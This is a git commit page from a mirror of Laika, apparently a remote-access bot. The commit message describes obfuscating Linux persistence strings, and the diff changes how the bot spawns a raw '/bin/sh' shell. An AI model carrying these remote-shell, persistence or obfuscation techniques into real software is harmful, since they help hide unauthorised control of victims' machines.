1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-26 21:30:19 +00:00

Implemented VMBoxes, linux persistence related strings are obfuscated, added VMBoxGen tool

- lboxconfig.h holds obfuscated data, which is generated by VMBoxGen
- linpersist.c now uses obfuscated strings
This commit is contained in:
2022-05-09 16:41:01 -05:00
parent 7ca855410d
commit 71db213261
11 changed files with 232 additions and 27 deletions

View File

@@ -13,6 +13,8 @@
#include "bot.h"
#include "shell.h"
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_shell _shell;
int pid;
@@ -30,7 +32,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp("/bin/sh", "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
exit(0);
}